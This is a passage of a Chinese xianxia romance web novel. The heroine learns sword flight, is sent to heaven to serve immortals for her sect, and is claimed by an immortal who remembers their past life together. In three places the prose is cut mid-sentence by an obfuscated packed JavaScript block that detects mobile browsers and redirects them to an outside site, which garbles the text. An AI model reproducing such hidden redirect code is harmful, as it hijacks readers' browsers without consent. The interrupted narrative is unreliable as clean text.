终于在某一次,她感到一缕神识与一缕剑气相接,她隐约闻得剑声嗡鸣,如碎玉斫冰。 那是种奇妙的感觉。 接着,很快的,那剑猛地向前冲去。 云若差点掉下剑去,掌门摁住她的肩膀,她才免逃一堕。 “你神识温柔些,我的剑吃软不吃硬。”掌门教她如何驭剑。 虽然略有些难懂…… 差不多一整夜过去,云若终于能控制好这柄剑。 一夜没睡,掌门声音仍是中气十足,而且略带兴奋,“云若,我说的没错,你果然是个剑修,还是天赋极佳的剑修。” 云若也十分开心,虽说幻术她学得也认真,可御剑带来的感受,是直观而浩荡的。 不由让人生出清风满怀、天地浩荡之感,仿佛能遨游于山川湖海间。 云若对掌门说了许多感谢的话,又扯到了惊鸿派。 云若朝他一拜,诚恳道:“掌门,你真是很好的人,惊鸿派弟子都应感谢你,惊鸿派就像是我们所有人的家一样。” 谁知,掌门啊了一声,似是听到什么不可思议的话,笑了出来。 “云若,你是不是对我有什么误会?” “你要明白,我不是好人,我只是个生意人。” 掌门笑得莫测。 8. 最后一世情劫(8) 08.最后一世情劫(8) “啊?生意人?”云若望着掌门,杏眸睁大,呆立在他身前。 掌门从腰间扯出一方锦帕,力道温柔地擦拭金剑,抬眼道:“入门契最后一条,还记得么?” 云若微蹙眉尖,视线从左边的云转到右边的松树,才终于回想起来,“掌门有令,门下弟子必从之。” 掌门挑眉一笑,皮笑肉不笑。 云若没明白,跟着一笑。 掌门:? 云若回过神,赶忙再拜,“云若明白了,掌门如有需要,云若但凭驱使。” 掌门沉默一会,拉着云若坐在山岩上,压低声音道:“你知道你们为什么能穿好看的衣服,戴漂亮首饰么?” 云若摇摇头,也疑惑起来。是啊,惊鸿派也没人出去干活,整日就是修炼、上课、 打扮,甚至连门派任务都没有,哪来的钱? “是……仙盟给的?”云若试探地问。 掌门嫌弃道:“仙盟的财物都给大门派,给我们都是从牙缝里抠的,哪够你们挥霍。” 云若一噎。 掌门面色忽然惆怅起来,眼神疲惫地像个迟暮老人,长长一叹,“这都是靠你们黄师姐,才有今日。” 个中缘由,掌门同云若细细道来。 原来,黄师姐飞升到云腾境后,便拜入自在门,做了掌门玄檀仙君的掌灯仙婢。 因颇受宠,故每年所得俸禄甚为丰厚。 丰厚到养活惊鸿派这一大帮人都毫无压力。 云若听完这段话,过往认知碎了一地,她联想到自己在云府作工时种种悲惨经历,大为震恸,羞愧万分,“原来如此……我竟是靠吸黄师姐的血而生,这如何使得!” 掌门呃了半天,拍拍她的肩膀,“倒也不必愧疚,风水轮流转,明年到你家。” “掌门,不必担心。我愿为惊鸿派粉身碎骨,肝脑涂地,解救黄师姐于水火中!”云若站起来,目光如炬,神识传音十分坚定。 掌门把她摁着坐下,又呃了一会,才道:“你黄师姐不在水火中,她是如鱼得水。” “可……” “媚修,你懂么?你们是媚修,你感受一下。”掌门谆谆教导、循循善诱。 望着云若迷茫的双眼,掌门从宇宙混沌初生讲到两仪阴阳分化,从生灵繁衍讲到人间夫妻。 云若听不下去,打断道:“掌门,你直说吧。” 掌门抚额嘿嘿一笑,“就是把你们一个个送到仙君身边,最好能把《惊鸿心法》学以致用。” “掌门,你笑得有点猥琐……” “放肆,小丫头什么都不懂。能和仙君双修,这可是三世修来的福分,抵过你一人不眠不休参悟半个月。” “那万一仙君看不上呢?” “哎呀,世上无难事,只怕有心人。退一万步说,若混得差,当个普通的仙婢仙童,也能勉强养门派;混得好,成了姬妾,讨赏赚钱更容易,玄檀仙君送你黄师姐的一个金步摇就价值千金。若是代代如此,惊鸿派无穷匮时呐~”掌门眯着眼,惬意道。 “若迟迟没有云腾境的弟子呢?” “哎,那本掌门就牺牲一下,自己出。毕竟在天界混了这么些年,积蓄还是有的。” 云若点点头,“掌门亦为门派付出许多。” 掌门一时不知该怎么回应,半晌才干瘪夸了一句“云若啊,你很不错。” 他补充道:“是个能从屎里拣糖的人。” 云若忍俊,“掌门,你怎么能把自己比喻成……那个。” 掌门:…… “从这里回惊鸿派大概四里路,你……”掌门长长从口中吐出一口气,“麻溜滚吧。” * 云若明白掌门的意思,她并不抗拒,只是有些不解。 玉姬说,惊鸿派早在千年前就该没了,掌门花了一大笔珍宝才把门派又盘活。 掌门自身并非惊鸿派中人。 肯有所舍,必有所图,只是图什么,玉姬也不太清楚。 反正,当弟子抵达云腾境,却又低于日盈境时,都得听从掌门安排,进入各门派,争取服侍仙君。 也许掌门是要发展天界人脉,以便行走;也许是打探消息…… 不过他们之中大多数都到不了云腾境,所以这些事也就与他们无关。 云若显示出升境的潜力,掌门为她在惊鸿派逗留了很久。 不为别的,就为日日督促她练剑。 师兄师姐起床,她在保养掌门的小金剑。 师兄师姐上课,她在学习《云渚基础剑招十八式》。 师兄师姐吃饭,她要御剑上下后山三次才能吃。 师兄师姐睡觉,她要背诵天界剑诀大全并默写。 …… 掌门看起来是奔着累死她布置的任务。 “好了,剑修你也算入了门。光说不练假把式,咱俩来来真的。”掌门把金剑扔给云若,手一翻,一道金光绽放在手中,化成与那把一模一样的金剑。 云若自接触了修仙,已见过太多超出她认知的事,此刻仍惊道:“掌门,你怎么有两把剑?” “两把?呵呵。”掌门眯着眼,笑得宛如慈祥的老父亲。 他忽然敛起笑容,双眸睁开,瞳仁中隐有火光。 他手下微发力,云若立马感到一股炽.热风浪从他周身散开,袭得山上走飞石、青竹起翠浪,接着一道、两道、三道……无数道刺目金光从他背后乍射,为山上所有东西渡上一层耀眼光芒。 云若赶忙用手遮眼,一来剑气掀起的狂风弄得沙砾漫天,二来那金光照人难睁眼。 以及那金光的温度,也灼得人发烫。 她从手指缝里望去,见掌门稳稳立巨石上,金光化为无数金剑,悬在他身后,蓄势待发,空中漂浮着她看不懂的金色符咒和莲纹,像被火炙一样微微波动。金火般的光芒照耀着他年轻的脸庞,剑气打散了他玉簪束起的头发,吹拂起衣襟长袖。 临风燃火,万剑金光,神秘而强大。 云若感觉,只要他一声令下,那万把飞剑就会朝一处追去,带着热烈的火焰和狂风,把所经之处悉数燃成灰烬。 “掌门,你好强!”云若由衷地佩服。 掌门勾唇一笑,很是受用。 “就是剑太密集,你看起来好像一朵盛开的菊.花。”云若又道。 掌门脸一僵,手一合,万盏金光熄灭,剑成虚影,而后隐下不见,唯余手中一柄。 “从前也有个和你一样喜欢评价剑招造型的人。”掌门凉飕飕瞥她一眼。 云若:“怎么?” “后来她被天雷劈了八十一道,碎成渣了。” 云若:“掌门,咱们还是说正事吧。” 掌门准备考察云若的剑法功课,考察方式是他出五招,只要她能接住,就算通过,便给她更高深的剑法。 第一招,掌门轻轻提剑,略一运气,剑随风急转,竟似脱落般旋过去。剑气弥漫,将落叶纷纷割裂,在树干上刻出一道划痕。金剑旋转速度极快,掌门问云若:“这一疾招,你当用什么防?” 眼见旋剑将至眼前,云若赶忙答道:“摇花飞絮,借力化力!”一边回应,一边手上不能停下,剑与剑纵横相触时,一个转身,将对方剑打回。然而对方剑气过强,力度也大,让她险些没拿稳手中剑,转身时不由向后退一步。 掌门接住旋剑,不带喘气,便又将飞剑掷出,此次直直刺向她心脏。 云若第一反 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16137490|180306||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 应是闪避,掌门呵道:“接下,不准避开!说,用什么招打回?” 云若停住脚步,飞速回想,“春风入山,原物奉还!” 她以剑面抵剑尖,却被剑气震得双手一麻,剑柄差点脱手而出,头皮也钻入一阵寒意,铺面而来的剑气震破了她的外袍,她咬着牙用灵力将双手向前一推,再一掌打上对方的剑身,把那剑调转方向,以手推剑柄,剑尖朝掌门飞去。 “太慢了。”掌门嫌弃道,剑尖将至一瞬,自动停下,调转方向,又向云若飞去,这回是斜砍。 云若还没来得及修整,赶忙硬接下这招,只是这回凄惨些,被剑势直接压得半跪下去,云若死命抵抗着悬空砍来的剑,脸都憋红了。 “接招错了,你说说,应该如何接,如何还。”掌门悠哉悠哉指出她的问题。 云若被剑气压得起不来身,双手颤着支撑自己的剑,还得维系神识通话,累得脑内空空。 “斜……斜风……细雨,任它来去……可是掌门,这和闪避……有什么区别?” 掌门哦了声,“那避吧。” ……你刚刚说接下不能避的。 云若欲哭无泪,只能用尽灵气,生硬将剑又逼回去。 …… 五招过后,云若觉得自己成了个废人。头发全乱了,外衫破了,手上腿上挨了一道剑痕,看起来像逃难的。 她刚想歇息一会,掌门提剑上来。 云若:? 掌门:“热身完了,该咱们打了。”说完,他一剑当头劈下。 云若:我杀了你。 疲惫不堪的云若被彻底激怒。 看着云若不知是气得还是累得满脸通红,掌门唉了声道:“你要习惯,我向来不是怜香惜玉的人。” 话音刚落,云若因挡得慢了些,耳前面颊被划了一道伤痕,流出血来,像是带了一串细细的红流苏耳垂。 云若气极反笑,持剑的手握得更紧,终于在一连串被压迫的攻势下找到机会反攻,而且手下丝毫不留情,斜砍、直劈、横刺一气呵成,不带停顿,剑刃相撞的嗡鸣声不绝于耳,强大的剑气甚至让她耳中流出一缕血线。 两人过招之时,长剑相击,周身有淡淡金光围绕,随着持剑人的出招收招,开在空中的金色莲花时明时暗,时大时小。 此谓剑意,每把剑都有都属于自己的剑意。 品级越高,持剑人越强,战时剑意愈明显,甚至偶尔会有异象产生。 掌门接招时,也在观察对面的云若。 平心而论,云若容貌柔弱温.软,尤其那点红痣,更是娇美,她素日来性格也温柔天真,任谁都觉得这样的女子无害。 可如今持剑的她,衣衫尽破,发髻散乱,脸颊带伤,那一双揉碎星光的眼眸中,跳动的是火焰般的光华。 是顽强的战意,还有些隐隐的兴奋。 周围的金莲从含苞待放到怒放,再到像火焰一样燃动,绝不仅因为他。 很好,他向来不做赔本生意。 * 掌门拎着云若回门派时,已经夜半三更。 玉姬在前堂打瞌睡,一撩眼皮,发现自家掌门拖了个七窍流血、披头散发的人回来,吓了一跳。 等她看清楚那人容颜时,更是惊叫出声。 “掌掌掌门,你把云若杀了?!!” “没死,还有气。”掌门摆摆手,坐下饮了杯茶。 还没等他喝到那杯茶,忽然有个粉衫女子凭空出现在他面前。 那女子一见他,便跪下抱着他的腿嘤嘤嘤哭了起来。 “掌门,我受不了了!自打玄檀仙君两年前下凡去搞那破劳什子九星封印后,我便被素璇那女人日日欺压,你快找个师妹上界帮我吧!” 9. 最后一世情劫(9) 09.最后一世情劫(9) 天界诸仙君不和早非新鲜事。 三年前封印鬼帝的无道荒海出现异象,仙盟就开始张罗‘九星封印’之事。 毕竟单打独斗,这些仙君都非鬼帝对手,唯一打得过的不知何方历劫去了。 没了老大,诸仙君唯有联手,按照上古秘籍所说,做成九星阵法,才能将鬼帝牢牢封印。 结果却是,仙君鬼帝在无道荒海斗法斗了两年……据天界百晓生说,两边每次打完就各自回去恢复,恢复后再打。 掌门对此的看法是:都有病,还病得不轻。 很显然,两年间,这些仙君就没真正凑齐过九人。 幸运的是,鬼帝也没真能完全恢复,否则仙君这么做很容易玩脱,到时候把鬼帝彻底放出来,他们就知道什么叫‘快乐’。 至于玄檀仙君,下凡真得是去张罗九星封印么?掌门不这么想,这位天界风流之最,怕是借着封印的名头去人间玩耍游历。 掌门拉起地上跪着嘤嘤哭泣的弟子,安抚道:“小黄,先别哭,到底怎么了?” 这名女子就是掌门口中“赚钱养家”的黄师姐黄阮阮。 黄阮阮依旧抽抽搭搭,“素璇那女人最近觉醒了历劫时的记忆,说玄檀仙君还是凡间帝王时,她是他最宠爱的贵妃。如今她恢复了记忆,仙君又不在天界,她便仗着自己是扶光神君的弟子,开始整治仙君身边的知心人……我今日不过是簪了朵红杏,她便说我想趁仙君不在红杏出墙,打了我顿鞭子,到现在还疼呢……” 黄阮阮拉开自己衣袖给掌门看,只见藕白粉臂上几道鞭痕狰狞无比,且似是淬了毒,伤口周围隐有溃烂之势。 掌门难得皱起眉来,替黄阮阮把脉,道:“你这毒说重不重,说轻不轻,她存了让你留疤的心思。” 黄阮阮蓦地睁大眼睛,眼中冒出怒气,连哭也忘了,“留疤,这个坏女人,我恨她!” “你蔡师姐、徐师姐就没帮你?” 提起这个,黄阮阮又欲落泪,“掌门,你心里就没点数么?这些高境师姐早就脱离门派了,我哪儿那么大脸找人家。” 掌门长长一叹,“门中确实有弟子快突破云腾境,只是……她是剑修,我另有用处。” 黄阮阮心直口快,直接道:“什么另有用处,既然是剑修,您不就想把她送给云渚那俩仙君么?也行啊,那俩一个云渚掌门,一个仙盟副盟主,搞一个素璇绰绰有余。” 掌门略一沉吟,“你说的也有道理,但那两位修的是无情道,估计不好上手。” “我把我毕胜所学皆传授给师妹,不信她不能把百炼钢化成绕指柔!” 掌门和黄阮阮在这边讨论得火热,玉姬发现那边死鱼一般躺着的云若轻轻抬起一根食指,然后颤着落下。 * 最近,云若感觉惊鸿派所有人看她的目光都带着几分怜悯。 她感觉自己身子快被掌门和黄师姐掏空。 自从黄阮阮在她面前楚楚可怜哭诉一番自己在天界孤苦无依遭人欺凌的遭遇,以及表达希望有可爱的小师妹上界帮她干掉坏女人的愿望,然后她答应后,黄阮阮就露出本来面目。 白天,掌门要和她切磋剑法,掌门说实战出真知,所以下手从不留情。 每日酉时,掌门准时拎着七窍流血、宛如死鱼的云若回门派。 然后把云若交给黄阮阮。 ——那是另一个魔鬼。 黄阮阮教她怎么笑、怎么哭、怎么看人、怎么害羞、怎么惑人。 黄阮阮告诉她怎么丰.胸,怎么翘.臀,怎么拥有盈盈不堪一握的小蛮腰。 黄阮阮还手把手教她双.修时应该做什么…… 黄阮阮见她学不会,急了,喊来掌门,道:“掌门,你来教下师妹,她什么都不懂。” 掌门脸都黑了,“此事万万不可。” 黄阮阮惊讶得嘴巴变成O形,“掌门,你不行?” “放……屁!” …… 总之,这两人已成了云若的阴影。 他们揠苗助长,逼着云若快速修炼,早日升天。 就是不知道最后升的那个天是不是他们想要的天。 有那么几天,她一看到两人就会吐,边吐边说:“我还能学。” 一个伸手不见五指的黑夜,她睡下。 在梦里,掌门拿着剑,黄阮阮拿着小画册,两人狞笑着向她走来。 她吓得东躲西藏,两人步步紧逼,把她逼到墙角。 两人变成比楼还高的大蟒蛇,张着嘴吐着信子,发出嘶嘶声音靠近她。 她“啊”地一声跑开,然后撞在一个人怀中。 那人穿着银竹墨袍,长发束在头顶,正在地里种狗尾巴草。 “如官救我!”她喊道。 然后她醒了。 她感到丹田处一股极其灼烫的热流聚集,越来越多,越来越烫,这股热气发散到全身每一个毛孔,甚至开始流汗。 渐渐地,汗流干了,她再睁眼时,忽然觉得天地无比清明,虽然只有左眼可观物,却似是能望向更遥远的地方。 透过窗,只要凝神静气,她甚至能看清墙外一朵花影的细节。 意识到自己大概也许是突破了,她的第一反应不是能离仙人更近一步,而是…… 她终于可以不再被掌门和黄师姐轮流折磨,她解脱了! 云若流下激动的泪水。 * 掌门和黄师姐带云若上天界那日,楚灵儿抱着云若的包袱哭得好大声,“小若妹子,你走了,谁给我用萝卜雕花,谁给我做不倒翁啊!” “灵儿师姐,我会回来的。”云若朝她抿唇一笑。 楚灵儿泪眼朦胧中看到云若的笑容,觉得满山的桃花都开了。 云若穿着樱粉衣裙,银带勾出窈窕身段,乌发如云挽着垂鬟髻,银步摇斜缀两侧,银纹发带随风轻扬,更添轻盈妩媚之态。雪一样的瓜子脸上,细眉如柳,朱唇似樱,如星美目轻弯,便似在多情顾盼,引人不由多看几眼,企图得仙子下顾垂怜。那黯淡的右目,也就愈发惹人惋惜。 她感叹:黄师姐不愧是经验老到的媚修,在她的调.教下,云若从一朵枝头含苞待放的小梨花,长成灼灼盛放的桃花,明艳娇美不可方物。虽则天界美人如云,但她对云若极有信心。 柳月也是泪凝于睫,但比楚灵儿淡定些,“小若妹子,在天界混出个名堂,到时候师兄师姐去找你。” 云若点点头,“师姐,若是有朝一日如官回来了,你们帮我转告他一声,就说我已经去天界了。” 这边依依不舍话别后,那边黄阮阮迫不及待拉着云若离开。 掌门把金剑抛给云若,“今后它就是你的了。” 云若第一次拥有自己的剑,这下也不计较过往一个月的魔鬼训练,摩挲着剑柄连连道谢。 “掌门,这剑有名字么?” “自己起个不就好了么。”掌门摆摆手。 这么随意…… 云若绞尽脑汁,想了十个八个,最后觉得有一个极妙。 “掌门,我决定了,这柄剑叫做‘任流光’!” 谁曾想,掌门脚下一滑,回头颇是古怪地看她一眼,那神情多多少少有些不自然,但他却什么也没说。 云若和掌门各自御剑而行,黄阮阮则站在掌门剑上。 黄阮阮虽然也能自己飞行,但那样会慢。借 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16137491|180306||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 助法器,还是不大一样的。 云若渐渐飞到从未到过的高度,她往下看,尽是飘渺云层。以前巍峨壮丽的后山,渐渐变成一片青叶,然后成为一个小青点,隐藏在重重白云下。 太阳和白云却变近了,比以往在地上看要更大更震撼。 云若掬一把白云,如雪絮,却更绵软,似风般从她指尖又溜走,化成一缕薄薄的雾。 …… 行了约莫半个时辰,云若终于看见悬在空中的一块巨大飞城。 下沿像海平面那道线,若隐若现在白云缭绕中,向左向右望去,云若仍望不到终点。 越离那城池近,越能听到一些奇异的类似禽类的鸣叫,清亮高昂。 很快,一块阴影从云若头上飞去,仔细一看,竟是一只巨型白鹤,白鹤上,坐着白衣飘飘的修士。 城池中仙雾缭绕,远望难见阵容,隐约有高楼和苍山耸立,比人间的更加雄奇瑰丽。 不知穿过什么一层类似于结界的东西,云若忽然觉得周围灵气充沛起来,十分浓郁,呼吸之间,皆是淡淡清冷的香气。 “这就是一重天了。”掌门道。 三人终于接近地面,落地收剑。 方才看不清,如今落在地上,才望见眼前是一座十分宽阔的高台,高台四周有巨大的云彩凝成的雕塑。 云若站在那些雕塑下,就如蚂蚁在大树前。 掌门和黄师姐说给她些时间,让她好好看看,认识认识这些雕塑。 这些雕塑实在太过高大,她只能御剑绕着它们来观看。 “柳宜均,仪光神君座下十一弟子,自在门长老……”雕塑旁,浮着圆镜般的光屏,写的是旁边所塑之人的生平。 云若看着眼前这个风姿绰约的美女,才反应过来,他就是传说中的惊鸿派祖师爷,仙君柳宜均。 云若又飞到另外几个雕塑附近。 “陶闻生,仪光神君座下十弟子,厉川长老……” “吴秋行,仪光神君座下九弟子,衍宗掌门……” 云若饶有兴致地看完八个仙君的雕塑,来到第九个处。 却在看到的瞬间微微出神。 第九位仙君,高眉深目十分俊美,却神情冷峻,因思虑过重,眉间有道浅壑。 “修官?”云若轻轻抚上雕塑,只见右边光屏随即显示:“慕容修,仪光神君座下三弟子,云渚掌门。天玄境大圆满,佩剑锻思……” 如果掌门想让自己进云渚,那么是不是意味着…… 云若才想明白,只觉自己之前太迟钝。 想着想着,云若御剑落在地上。 不知是心诚则灵,还是天缘难测,云若落地时,竟看到了一个有些熟悉的背影。 那人穿着银色道袍,腰间佩剑,手持拂尘,乌发披在肩上,银冠木簪,素带垂肩,分明是慕容修的装束。 云若没多想,立马御剑上前。 似是感受到身后有人追随,那人回过身来,云若的剑也猛然停住。 不是慕容修。 虽是同样的装束,但不是慕容修。 眼前之人容貌俊秀,眸光温润柔和,和云若小时候在年画中看过的神仙像很像,眉目秀丽,慈悲多情。可以说,那些神仙像仿佛就是对着他的脸描画的。 慕容修是天山上亘古难化的冰雪,他是小林中滋润万物的汩汩清泉。 在他温和如水的目光中,云若觉得自己突兀极了,她像是无意闯进清幽竹林中的不速之客。 然而没等她作出反应,那人却变了眸光,秀眉轻皱,一潭清水般平静的眸中忽然起了波澜,充满震惊不可置信。 他像见了失而复得的珍宝,难抑心中急切,忙朝她走来。 10. 最后一世情劫(10) 10.最后一世情劫(10) 云若愣在原地,见那白衣如雪、身如青竹的仙人步步走来,在她身前停下。 他一双清隽眸眼似凝朝露,竟蕴蓄几分哀恸。 云若见他伸出手,指尖就要触到自己脸颊,微微侧脸躲开。 他收回手,眼神一暗,开口说些什么,云若听不见。她试图用神识沟通二人,但对方境界太高,她无法主动接通。 于是,云若只能用肢体动作告诉他,她听不见,也说不出,要借助神识。 没想到,他并未惊讶,只是表情愈发歉疚悲伤。 “若若,是你吗?”他的清朗温和的声音传入她神识,然语气却略显焦急,欲确认些什么。 云若一惊,“仙人怎知我的名字?” 那人朝她温柔一笑:“我一见你,便知是你。这双眼睛,这颗红痣……除非有人刻意伪装,否则怎会如此相像?只不知天道为何待你如此薄情,转世仍要受五识不全之苦。” 云若疑道:“转世?” “你我二人相遇,已是三百年前之事。若我推断无错,你差不多已历四次轮回。”他语带怜惜,满怀歉意道:“可惜我不能轻易介入凡间因果机缘中,也无法干涉三界轮回之事,不过那些都过去了……幸而你又回到我身边,且成了修士。如此,我便能护你长生无忧。” 他情深意重,云若听得一头雾水。 云若略带迟疑道:“仙人,可是……我并不认识你啊。” 他微微俯身,将她鬓边垂下的一缕发挑到耳后,语气愈发柔和,仿佛在呵护一件易碎珍宝,“这不要紧,若若,你可以重新认识我,我们来日方长。” 云若尚不适应被如此亲昵对待,不由向后小小退了一步。 惊鸿派掌门和黄阮阮刚到时,看到的就是这样一副略带暧昧的画面。 黄阮阮眼睛蓦地睁大,指着前方二人无比激动扯着掌门衣袖道:“掌门快看!许许许仙君!” 掌门回神,沿着她指尖看去,看到云若和一个云渚门人打扮的男子站在一起。 “啊……还真是他,他出关了?” “师妹也太厉害了,入天界第一日便有如此机缘,看来她已得我的全部真传。”黄阮阮平复心情,与有荣焉道。 许仙君自是察觉了远处观望的两双眼睛,直起身来,长睫掩去眸光。 面对那二人时,又是清风淡云的模样。 掌门和黄阮阮赶忙趋步上前,恭谨一拜,“许仙君有礼。” 许仙君点头轻笑道:“任师弟,好久不见。” “仙君抬爱,如今仍称在下一声师弟,在下愧不敢当。” “多年同窗情分,应该的。”许仙君回首看了眼云若,问二人:“你们在寻她?” “是,她是在下门中弟子,近日方突破云腾境,因此带她到一重天看看。” 许仙君左手轻抚过拂尘满刻花纹的玉柄,唇边泛上一丝了然的微笑,“既如此再好不过,我便直言了——云渚镜心崖上恰缺一名剑侍,还请任师弟割爱,让我把她带回去。” 掌门和黄阮阮相互交换了个眼神,他们都从对方眼中看到两个字: 震惊! 掌门毕竟风雨见惯,赶忙回神,笑道:“仙君客气,只是在下还得询问一下她本人的意思。” 许仙君轻轻踱步,似在沉吟思考,实则不露声色挡在云若身前,隔开了掌门和云若相望的视线。随后,他抬头道: “任师弟,我已问过了,若若是愿意的。明日,我会派弟子下界,向贵派奉上谢礼。另外,三重天天河以东的五百座灵矿,悉归师弟名下。师弟以为如何?” 他笑如温煦春风,言辞不急不缓,似一切都好商量。 “在下明白。”任掌门亦笑道,“一切悉遵仙君安排。那在下就先行告退。” 云若本想等他们说完话后向仙人告辞,跟掌门离开,此时见掌门都不看自己一眼就走,赶忙站出来,却被许仙君握住手腕,无法再上前。 修仙之人常居天上,寒气缭绕,肌肤冰冷似霜雪,与凡人有异。 被握住一瞬,云若就感到凉意直透血肉。 掌门给她一个安抚的眼神,神识中简短道:“云若,好生侍奉许仙君,你以后就是云渚的人了。” 说罢便转身带着黄阮阮离去。 许仙君? 云若这才想起来,她方才看诸仙君雕塑时,似乎是有这么个人。 ——许仙君许道淳,仪光神君座下四弟子,云渚长老,佩剑问心,天玄境初期。 许道淳是慕容修的同门师弟,也是仙盟副盟主。 许道淳对她道:“若若,你既是剑修,而任掌门本也打算将你送入云渚,你便随我回去。” ……话虽如此,她确实想入云渚,可那是为见修官,怎么就稀里糊涂被掌门‘送’给许仙君了? ……但话再说回来,既然答应过掌门,签了那入门契,侍奉谁不是侍奉,一切都为了惊鸿派。 不多纠结,云若也就接受这突如其来、毫无预兆的安排。 “许仙君,我必会奉掌门之命好好侍奉您。只是您与我到底有什么前缘,我仍不大明白。” 许道淳挥手,长剑出鞘,变宽变长,悬于空中。他踏空而上,回身来扶云若,“随我回云渚,我把一切告诉你。” 云若不好意思背过手,“仙君,我也可御剑。” “以你境界,御剑到六重天约莫七天七夜,跟着我只须一炷香。”许道淳的仍耐心地把手放在她面前。 云若再推辞,便显得不知好歹,只好轻轻扶着他手,站上长剑。 * 拜别许道淳后,黄阮阮就一直处在兴奋状态。 “掌门,许仙君不仅脾气好,出手也很阔绰,看起来,还很喜欢师妹呢!” “一面之缘,怎至于此。”掌门轻哂,“许仙君三百年前曾下凡历劫,劫后一直闭关,至今才出,见云若便一定要她。我怀疑他二人在那时就有些纠葛。” 黄阮阮撅撅嘴,“素璇也说她历劫时与玄檀仙君有纠葛,如今师妹又和许仙君有纠葛,为何我就没和哪个仙君有前世纠葛。” “人家上辈子吃苦,这辈子享福。你嘛,许是上辈子太舒坦。” 两人闲话之际,许道淳正带着云若飞往六重天。 云若本想看看周围风景,谁知御剑速度太快,天风烈烈,衣袖乌发翻飞,根本无法睁眼。 周围皆云,无处依托,她又怕唐突仙君,只好不断运灵让自己稳住身形。 许道淳偶然回头,发现她口唇紧闭,发丝拂乱,随手掐个法诀,如星白光闪过,云若飞起的衣袖发丝便安静落下。 “怪我疏忽。我御剑时不喜定风诀,倒忽略了你。” 云若感到一瞬间四周皆静,狂风停止,缓缓睁眼。 周围天色湛然,显出奇异的清亮,如清河洗过的翠玉。 四下望去,不见太阳,不见星月,只余浩浩渺渺的淡烟白云。 既无四季轮转,也无昼夜交替,人行于 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16137492|180306||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 剑,如飘萍行海、孤叶落山。 “这片天唤作虚妄天。” “为何称作虚妄?” “因为这澄天净云皆是虚幻,是上古时期诸神诸仙布置的幻景。若撤去幻景,你所见的就是无垠黑暗。\" 就是神仙,也会怕黑暗。 不一会,长剑落地。 二人面前是一座连绵不绝、悬于流云上的巍峨高山,山势陡峭险峻,如巨剑削成。 山门极简朴,几如隐士居所,木匾上潇洒书着‘云渚’二字。 门上左右写着: 星满云山,月流烟渚。 观山仍须登山,望渚还应临渚。 灵聚长剑,道在苍天。 锻思怎如锻剑,问心不若问天。 山门后,一望而去,高高的山阶似通云梯。 “凡入云渚门下的新弟子,第一次入云渚,必须一阶一阶踏上去。若若,你可愿意?你若不愿,我也可带你直接去镜心崖。” 许道淳怕她劳累,虽说三千阶是师姐万年前定下的规矩,但如果云若开口,他也可破这规矩。 云若摇头,“仙君,我既诚心拜入云渚,理应如此。” 意料之中,许道淳唇边泛起一丝笑意,他的若若向来如此,不畏苦痛,外面看着娇小可爱,实则韧性十足。 “我陪你走。”许道淳踏上石阶,他已许多年没尝试过一步步走上去的滋味,“也趁机会,告诉你我们之间的事。” * 天劫是地黄境及以上的仙人无法避开的关卡,情劫尤甚。 渡劫后是否能回忆起历劫的事,是个玄学。 忆起历劫时事的仙人,保不保存这段记忆,是自己的选择。 许道淳不仅回忆起了,而且他选择记住。 他心中有难解的愧。 三百年前,劫数至,他投生于周国,成了破落世家旁系的嫡子。 破落是真的破落,破落到只有姓氏还存些贵气,实际上,已家徒四壁。 许道淳自小心怀大志,指着家里大榕树说:吾必当乘此羽葆盖车。 羽葆盖车是皇帝座驾,小儿狂言,吓得家人赶忙捂住他的嘴。 后来,敌国来犯,周国危在旦夕,他入伍,成了除奸缴贼的士兵。 起于微末之间,却因心中志向,小小立了几次战功,还因宽仁重义的性格,收获了许多出生入死的兄弟。 大概二十七岁时,已官至校尉。 也是那一年,教坊司送来一批官.妓,来伺候他们。 行伍男儿血气方刚,有些事免不了。 在兄弟起哄声中,许道淳大着胆子将给自己敬酒的姑娘拉入怀中。 那姑娘红着脸,羽睫颤得厉害,眼里像藏了星星,颊边红痣可爱极了。 “你叫什么名字?”他问她。 她极快看他一眼,又有些惊慌落下,指指自己喉咙,摇了摇头,眸光有些黯淡。 旁边有人道:“原是个小哑巴。” 许道淳拿来纸笔,“可会写字?” 那姑娘点点头,执起笔在纸上轻巧落下三个字。 “苏若若。”许道淳念了一遍。 他觉得这名字念起来,十分缱绻温软。 “若若,跟了我,好么?”他实在怕惊到怀中美人,温声问道。 于他而言,那是合乎气氛、逢场作戏的酒会宴饮之言。 于苏若若而言,是飞浮的柳絮遇到愿接住它的一双手,是浮萍遇到能停泊的小池塘。 11. 最后一世情劫(11) 11.最后一世情劫(11) 许道淳让苏若若跟他,苏若若听了。 